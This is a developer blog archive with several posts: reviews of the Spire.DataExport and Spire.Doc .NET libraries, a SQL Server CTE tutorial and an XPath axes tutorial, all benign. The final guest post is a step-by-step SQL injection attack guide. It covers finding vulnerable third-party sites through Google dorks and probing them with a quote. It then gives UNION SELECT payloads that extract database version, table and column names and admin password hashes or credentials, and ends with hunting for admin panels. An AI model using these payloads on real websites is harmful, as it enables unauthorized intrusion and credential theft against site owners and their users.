Friday, April 29, 2016

Review: Spire.DataExport for .NET

The data flow is a critical part of any project that handles data as part of its main functionality. Even when this is not true, the correct flow of data is an important goal that always takes, at least, some effort.

With that in mind, I'll review now a tool to do just that: export data to various formats. The tool is Spire.DataExport for .NET. Some of the features of this tool are:

Support for popular formats: MS Excel, MS Word, HTML, MS clipboard, XML, PDF, DBF, SQL Script, SYLK, DIF, CSV.
Exports data from Command, ListView and DataTable components.
Independent from data handling applications such as Microsoft Excel

This article will be both a walk through and a review. For that, I'll create a simple example that shows the real usage of the tool. Since XML is the format I worked with in many projects, I'll show the feature to export to XML.

Let's begin!

Of course, you can use different data sources. These requirements are specific for this example.

Steps taken:

Create a new project

1. I created a simple Windows Form Application. I named it "SpireDataExportTest":
New Windows Form Aplication

2. Add a DataGridView component and a button. It should look like this:

AS you can see, I modified the text of the button. You can do other UI modifications as well if you think you need to.

3. Add the Spire.DataExport reference.
3.1 Right click References > Add Reference...
3.2 Click Browse and go to the path where you installed Spire.DataExport. The default path is C:\Program Files (x86)\e-iceblue\Spire.DataExport\Bin\NET4.0, in the case you have .NET Framework 4 (you might have to check your .NET Framework version. You can consult this if you have doubts).

Now, click OK.

4. Connect the grid to the database
There are several steps you need to take for this. Although it's not too complicated, I won't list all the steps here because the goal of the article is to do a review of the Spire.DataExport component. You might need a more detailed explanation, so I highly recommend to read this article.

However, this is the code you should have in Form1.cs up to this point:

And this is the database I used:

I called "testdb". Take into account that the Connection String in the code depends on this database and its configuration. Let's move on.

Code the action of exporting to XML

1. Double click the "Export to XML" button
2. Inside the method "button1_Click", enter the the code to export to xml. It should look like this:

As you can see, the method names are very straightforward. The only detail that you have to take care of is that xmlExport.DataTable only receives DataTable. So, what I did was declaring DataSet ds = new DataSet(); at the class level and then I converted the first table of the data set to DataTable.

The last thing left is to test the code. So, click Start and then click "Export to XML" once the program is running. You should see the data in XML:


The most important feature of this particular Spire product is that it's very simple to understand, learn and use. In fact, when writing this article, it was far harder to connect the database to the data grid than adding the functionality to export to XML. Another point is that the methods have clear names. This is very important, and many developers tend to forget that detail.

I really enjoy using these products, and I look forward to try the next one. More information about this tool and other similar products here.

Saturday, April 16, 2016

Use Common Table Expressions (CTEs) in SQL Server 2014

The Common Table Expressions are a type of SQL query that allows us to write herarquical queries in various relational database management system that include SQL Server 2014. CTEs are very useful and, above all, are easy to understand, which is one of the main problems when learning SQL and reading the huge queries commonly used in software projects.

As usual, it's easier to understand everything with an example. What we will need here is:

Restore the .bak file from SQL Server Server Management Studio:

1. Open SSMS (SQL Server Server Management Studio)
2. Right click Databases > Restore Database...
3. Select Device
4. Click the "..." button to browse for the .bak file corresponding to the Adventure Works database. Then click Add
Add backup file
5. Browse to and select the Adventure Works database.

6. Click OK 3 times. Wait a little and you should see the success message. Click OK.
Database restored

Create CTE:

Now that you have the Adventure Works 2014 in SSMS, Let's construct a query to satisfy the following instruction:

Write a query that returns all the BusinessEntityIDs of the employees whose job is "Production Technician - WC50" and are single.

Before someone mentions it, I know very well that this instruction is very simple and can be completed with a simple query. But for example purposes, we are going to do it with a CTE.

A CTE is a piece of code that "creates" a "virtual table" from where we can query data. IN this example, I'll create a query that returns all the employees with a marital status of "S" (single). This is easy enough:

SELECT BusinessEntityID, JobTitle
FROM HumanResources.Employee 
WHERE MaritalStatus = 'S'

Now, wouldn't it be great if we could consult to the result of that query over and over again from other parts of the same query? That can be achieved by turning this query into a CTE:

WITH CTE_married_employees(businessID, job)
AS (
SELECT BusinessEntityID, JobTitle
FROM HumanResources.Employee 
WHERE MaritalStatus = 'S'

Let's see this part by part:

WITH CTE_married_employees(businessID, job)

Here, we declare the CTE and give names to the result columns of the query. Afterwards, if you want to query this CTE, you'll have to do it using the these column names. Remember, these don't need to be the same as the original columns, so you can name them at you're convenience. Another detail is that you can use any name, you don't need to add the "CTE".

AS (
    SELECT BusinessEntityID, JobTitle
    FROM HumanResources.Employee 
    WHERE MaritalStatus = 'S'

Here, you just put whatever expression you want. Now, all you have to do is to consult the CTE with a regular query. The complete script is as follows:

WITH CTE_married_employees(businessID, job)
AS (
    SELECT BusinessEntityID, JobTitle
    FROM HumanResources.Employee 
    WHERE MaritalStatus = 'S'

SELECT businessID from CTE_married_employees
where job = 'Production Technician - WC50'

You have to execute the whole script to get it work. The result should be:

The use of CTEs makes it very easy to create complex queries without sacrificing the legibility of the script. Also, if you just test something that requires you to read the databases, it's very likely that you'll see CTEs, and you'll be able to understand the simple but not always obvious syntax.

Wednesday, April 13, 2016

Xpath axes

Indubitably, xpath is one of the most used ways to create locators when automating. It's relatively easy to understand and it has enough flexibility for almost every scenario to test.

Of course, there are some times when you have to learn everything when the project is already in progress, so you might have a couple of holes in your knowledge about this. So, for those of you who didn't know about this, I'm gonna explain what are the xpath axes about.

Basically, the axes are keywords that select nodes relative to other nodes. This will be more understandable with an example. So, this is the scenario:

We need to select my name (Jorge Maguiña) from the panel below "Contributors":
Contributors panel
But we need to do it in function of the "Contributors" title. This situation can come up when there are repeated ids, or the same element is displayed in several parts of the screen. Selecting an element relatively to another also gives more accuracy to the element. In some cases, it can prevent the locator from becoming obsolete when there's a minor change in the page. So, how do we do it? Keep reading and find out.


Firefox with Firepath (requires Firebug).

So, let's check this:

1. We'll work with a section of this page, so you can open a new tab or work directly here.
2. Right click in any blank space > Inspect in FirePath
3. Click the "Select" (not the actual name) tool at the upper right part of the FirePath panel
Select tool
4. Click the "Contributors" title. You should see the HTML code for that element:
Contributors selected
5. Expand all the nodes at the same level than the selected title:
Expanded nodes
Typically, we would go down to the nested nodes to reach my name, but in this case we have two ways of getting to the desired element:
a) Going backwards with "../". As in a command line, xpath allows us to go back in the HTML tree with this. For this particular case:

a1. In the "Xpath" text area, enter this: //h2[@class='title']
Contributors matched
That means that we are selecting all the h2 nodes that has the class "title".

a2. Now, we add the syntax to go back and select my name: //h2[@class='title']/../div/a/span[contains(text(), 'Jorge Maguiña')]
That means: Select all the h2 nodes that has the class "title", go back one level, select a div, a, span, which contains the text "Jorge Maguiña"
Go back

The same can be achieved with axes:

b1. In the "Xpath" text area, enter this: //h2[@class='title']
b2. Add the axis to select the name: //h2[@class='title']/following-sibling::div/a/span[contains(text(), 'Jorge Maguiña')]

The "following-sibling::" part means: select all the following nodes at the same level. The following sibling nodes for "Contributors" are marked in the image below:
Following sibling nodes
So, when you use the xpath, you'll be able to select the name relative to the "Contributors" title:
Name selected with axes
This is meant to be a basic example, but actually the use of the other axes is very similar. You can see the complete list of axes and their descriptions here.

Happy testing!

Thursday, December 10, 2015

How to create, edit Word files from .NET, C#


The Word documents are almost like a standard in today’s business world. As some reader may confirm, no matter what is the industry, no matter what the companies do, they have something in common: office applications, and among these, maybe the most popular, Microsoft Office in its different versions. Taking that into account, developers often have to deal with this reality and adapt their software to the needs of the Company or the client they are working for. For example, it’s possible that all the information of an office is managed in Excel spreadsheets or Word documents, so it is necessary to process the information in the most efficient way possible. This article is a review, so the reader can consult it so she makes a proper decision when considering acquiring the product. The code is an example of the use of certain features of the product. I focused the article in those features that are different or particularly interesting.

Exploring Spire.doc

Spire.Doc has the following features:
  • Generating, Writing, Editing and Saving
  • Converting
  • Inserting, Editing and Removing Objects
  • Formatting
  • Mail Merge
I will test some aspects of those features showing you the code I’m using. Apart of that, I’ll make some comments about the ease of use, the available documentation and any other details worth mentioning.

Generating a new document with a custom phrase

This set of features contains the basic actions we can perform on Word documents. To test this, I’ll create a document with a custom phrase and I’ll display it from a simple .NET application. The steps to set this up were:
  1. Create a Windows Form Project in C#
  2. Add a button with the text “Display Doc” and with the name “displayButton”
  3. In the Design view, double click “Display Doc”. This opens the code for the click event of the button
  4. Now, I’ll insert the following code into the displayButton_Click method:
    //Create a new word document
    Document document = new Document();
    //Add a paragraph to the document
    Paragraph paragraph = document.AddSection().AddParagraph();
    //Add text to the pragraph
    paragraph.AppendText("This is a test");
    //Save the document. In this case, the document will be saved as Test.docx
    document.SaveToFile("Test.docx", FileFormat.Docx);
    catch { }
    Pretty straightforward, right? The good thing about the methods used by the library is that they are very intuitive.
  5. Debug the application
  6. Once the application is running, click “Display Doc”. You should see something like this:

Converting a document from DOCX to PDF

I’ll take the example above as the base to test this and the subsequent features. To convert a file, I’ll generate one and store in a known location (in this case, D:\). So, the following modifications were made to the code:
private void convertToPDF_Click(object sender, EventArgs e)
            //Create a new word document
            Document document = new Document();
     document.SaveToFile(@"D:\testPDF.pdf", FileFormat.PDF);  
As you can see, I am no longer opening the file and I saved the document in a particular path. Now, let’s convert the document to PDF and display it.

This is just an example, and as you can see, it works very well, with just few changes in the code. Note that the conversion logic is almost the same of creating documents.
Spire.doc supports the conversion from/to many file types. If you want a comprehensive explanation of all the conversion options, you can visit the official Spire.doc site.
Another point to take into account is that the conversion feature is not available for the Standard Edition, but only for the Pro Edition. If the file conversion is a critical feature for your application, you may want to purchase the Pro Edition.

Extracting images from a document

Spire.doc allows the user to completely manipulate Word documents from the code. Some of the features allow us to insert text, find and replace text, remove elements from the document, extract images, etc. The features that got my attention are those to:

  • Extract text, images and other elements from the document: With this feature, it is easy to extract important parts from documents. This can be used when you want to very some values, or to have a collection of images of important documents, etc.
  • Protect documents: It is possible that a lot of documents will be created once the application is running. If the documents are sensitive, they must be protected automatically, since they are too many to handle manually. Spire.doc can help us to do just that.
  • I’m going to extract an image from this word file:

    The following code extracts an image from a document and stores it.
    private void extractImage_Click(object sender, EventArgs e)
                Document document = new Document(@"E:\spire\This is the second test.docx");
                int index = 0;
                //Get all the sections of the document
                foreach (Section section in document.Sections)
                    //Get all the paragraphs
                    foreach (Paragraph paragraph in section.Paragraphs)
                        //Get the Document Objects of each paragraph
                        foreach (DocumentObject docObject in paragraph.ChildObjects)
                            //Extract the image if the Document Object is an image
                            if (docObject.DocumentObjectType == DocumentObjectType.Picture)
                                DocPicture picture = docObject as DocPicture;
                                String imageName = String.Format(@"E:\\spire\Image-{0}.png", index);
                                picture.Image.Save(imageName, System.Drawing.Imaging.ImageFormat.Png);
    After executing the code, you can see the extracted image at the specified location:

    The other feature I want to explore is the ability of protecting a document. To do that, I´ll use the document with the Earth picture from the last example. Note that this can be achieved by using just a few lines of code:
    private void protectDoc_Click(object sender, EventArgs e)
                Document document = new Document(@"E:\spire\This is the second test.docx");
                document.SaveToFile(@"E:\spire\This is the second test.docx");
                System.Diagnostics.Process.Start(@"E:\spire\This is the second test.docx");
    When you run this, you should see the document requesting a password:

    Formatting a document

    This is a set of features that allows us to manipulate all the formatting aspects of a document. This means changing the fonts, their sizes, changing backgrounds, managing tables, etc. I’ll use a custom document (test2.docx) and I’ll edit some of its elements:

    The code I will use for that is:
    private void applyStyle_Click(object sender, EventArgs e)
                Paragraph p;
                Document document = new Document(@"E:\spire\test2.docx");
                Section docSection = document.Sections[0];
                ParagraphStyle style = new ParagraphStyle(document);
                style.Name = "TestStyle";
                style.CharacterFormat.TextColor = Color.Blue;
                style.CharacterFormat.FontName = "Arial";
                style.CharacterFormat.FontSize = 21;
                p = docSection.Paragraphs[0];
                //Save and Launch
                document.SaveToFile("test2.docx", FileFormat.Docx);
    What this code will do is:

  • Change all the fonts to Arial
  • Set the font size to 21
  • Change the font color to blue
  • Add bullet style to the paragraph

  • The logic involved in the way the library handles this is interesting: It is based in styles. In the code above, first I set the style with all the details and then apply it to a paragraph. Of course, you could create different styles and apply them to different documents and parts of documents.


    Spire.doc is a powerful library with great features, and it’s very easy to use. I only performed some action on simple documents, but I think this library has most of its strength in bulk operations. Actually, this kind of libraries can be more or less useful depending on the particular project, but this a library that you’ll definitely use a lot if your handle Word documents in any way.
    What I like about this product:
    • Very easy to use.
    • It’s comprehensively documented
    • There are a lot of code samples to get to know the product
    • The logic of use of the library is straightforward
    • It supports C#, VB.NET, ASP.NET, Web Services and WinForms for .NET Framework version from 2.0 to 4.5
    • What I didn't like:
    • The Standard version does not have the conversion feature.
    In general, I found this library extremely useful and easy to use. However, since al the projects are different, I’d encourage the users who want to buy the library for enterprise applications to try it first and see if it meets the project’s requirements. If it is so, this is a good investment.

    Tuesday, October 6, 2015

    Donning the Shoes of A Hacker to know about SQL Injection

    The Internet has undoubtedly made knowledge ubiquitous, but along with this it has also generated a lot of vulnerabilities at the same time. There are a lot of malicious users who are in wake to find out the loopholes in your websites so as to attack. On the top now we have SQL injections which are the most effective and invasive way to attack.

    You can be a victim, if...

    There are a lot of SQL attacks which are being reported daily and there are ample lot of websites which are dependent on data driven designs in order to come up with dynamic content for their readers. As all these dynamic designs are build on MySQL or any other database which is dependent on SQL, wherefore this makes all of them exposed to the danger.

    Getting Acquainted

    SQL injection attacks  directly hit the database, therefore you need to have quite a good grasp or preliminary knowledge about the same before you start away with it. If you are starting the process you can certainly go for some learning tutorials for beginners which can tell you all that you need to know.

    What are we discussing here? 

    In this article, we will discuss how to attack a website using SQL injection. Moreover, I am writing this article just to know how these attacks make their way to their website and how can you ensure your safety from them. One must not forget that performing a SQL injection attack is circumventing the law and as we know flouting the rules has its own serious repercussions (so be cautions while performing). This article is a step towards ethical hacking.

    Thinking like a hacker: Step wise analysis

    * First they ByPass the Logins
    * The second step is to access the secret data
    * Then they modify the content of the website
    * The last step is to shut down their database My SQL server

    This was a succinct summary, we will now discuss this in detail.

    Step 1: Searching for exposed/ vulnerable websites: 

    Google being the king of the search engines works as the holy grail for hackers. In order to find the list of vulnerable websites hacker adopt Google's Dork list. Google dork programmed in a such a way that this it is used for finding hackable websites which uses the power of Google searching. In order to refine your search one can use a lot of tricks, but the best trick is to use “inurl:” command in order to find the websites which are prone to danger.

    For example you can type in:

    Searching : 
    1. Copy any of these commands and paste in the search bar of Google.
    2. Google will fetch you a list of web sites.
    3. The you need to visit each of the websites to check their vulnerability factor.

    Gauging the Vulnerability:

    In order to check whether the website is  vulnerable or not ,add a single inverted comma (‘) at the end of websites url and then press enter. (There should be no space between single quotes and number.)

    For instance:'

    If the webpage displayed on the browser remains unchanged or displays the error message of “page not found” or displays any other webpage, then this website is not hackable.

    If after typing this the error message related to sql query comes, then the website is hackable.

    For instance, error message such as

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1]

    Step 3: Finding the Number of columns in the database:

    Now that the hacker is  well aware of the fact that the website is vulnerable, his next move is to find columns existing the database table.

    This is not a big task for them as all they need to do is to write “order by n” instead of that inverted comma ( they leave a space between this statement and number) .

    Now they keep on changing the numbers starting n from 1, 2, …. till a error message stating “unknown column ” is displayed.

    For eg: order by 1 order by 2 order by 3 order by 4

    Keep on changing the numbers till an error message stating “unknown column” pops up.

    Let us suppose you got an error message on the 8th number, then the number of columns will be “n-1”, i.e. here it will be 7.

    This is not an infallible method, thus if this method is not working ,then you can add “-” at the end of this statement

    For instance: order by 1--

    Step 4: Knowing the Vulnerable columns:

    The hackers use the “union select columns_sequence” in order to find out the columns which are prone to danger. Now in this step the “order by n” statement is replaced with this one. After this the id value is swapped with a negative number, i.e. the id = -2, but there might be no need of doing so on some websites.

    You also need to change columns_sequence from number from 1 to x-1 without separating them with commas.

    For eg:

    Let us suppose that the number of columns is 7 ,then the query will be union select 1,2,3,4,5,6,7--

    If this trick do not works then you can also try this: and 1=2 union select 1,2,3,4,5,6,7--

    Step 5: Fetching the  version, user, database

    The third trick is to place “version()” in place of numeral 3.

    For eg: and 1=2 union select 1,2,version(),4,5,6,7--

    After doing so you will get to see a version 5.0 or 6.3. or similar to this.

    Now, to find user() and database() you just need to keep them one by one in the place of version().

    For eg: and 1=2 union select 1,2,user(),4,5,6,7-- and 1=2 union select 1,2,database(),4,5,6,7--

    Moreover, if the above trick is not working then you can try out this one: and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

    Step 6:  Finding the Table Name

    Finding the table name depends on the version of the SQL. So, from the aforementioned query if you have received version 5 or above. Then you need to follow the following steps. Firstly, you need to replace numeral 3 with

     “group_concat(table_name) and add the “from information_schema.tables where table_schema=database()”

    You need to use the above query like this: and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

    Using this query will fetch you a list of the names of tables. Then after you need to find a table which is related to user or admin.

    After this you need to pick the “admin”table.

    If the site is of version 4 or of any other, then you need to guess the names of the tables. This is why it is difficult to perform SQL injection with version 4.

    Step 7: Searching the  Column Name

    In order to find the name of the column you need to replace  “group_concat(table_name) with “group_concat(column_name)”

    and then  add “FROM information_schema.columns WHERE table_name=mysqlchar– in the place of  “from information_schema.tables where table_schema=database()–”

    This step is a crucial one, as you need to change the table name to a string type named as MySql CHAR()  and then write it in place of mysqlchar.

    Find MysqlChar() for Tablename:
    First of all install the HackBar addon:

    Now you to need to navigate to the the following path:

    Now you need to copy and then paste the code in place if “mysqlchar” present in the URL
    For eg: and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)–

    Running this will fetch us the list of all the table names:
     admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas  s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..

    Now write  group_concat(columnname,0x3a,anothercolumnname) in place of  group_concat(column_name).

    Instead of listed columns you need to write down Columname and anothercolumname also.

    Then you need to write “from table_name” in place of   “from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)”.

    For eg:
        and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

    You won't be lucky all the times and you will get errors stating column not found. Therefore, you need to try other columns as well.

    You can find columns of username and passwords.

    If a website has accounts of users,  then this can prove to be a golden chicken for hackers.

    Step 8: Fetching the Admin panel:

    You need to start by trying with url like:

    If you are lucky enough, you can get you victims admin url like this, else you can keep on trying with other permutations and combinations.

    Author Biography:

    Samuel Dawson has shared a great article below on how a SQL injection can be perfomed on a website. Currently he is a involved in converting psd to html files for Designs2html Ltd.
    Related Posts Plugin for WordPress, Blogger...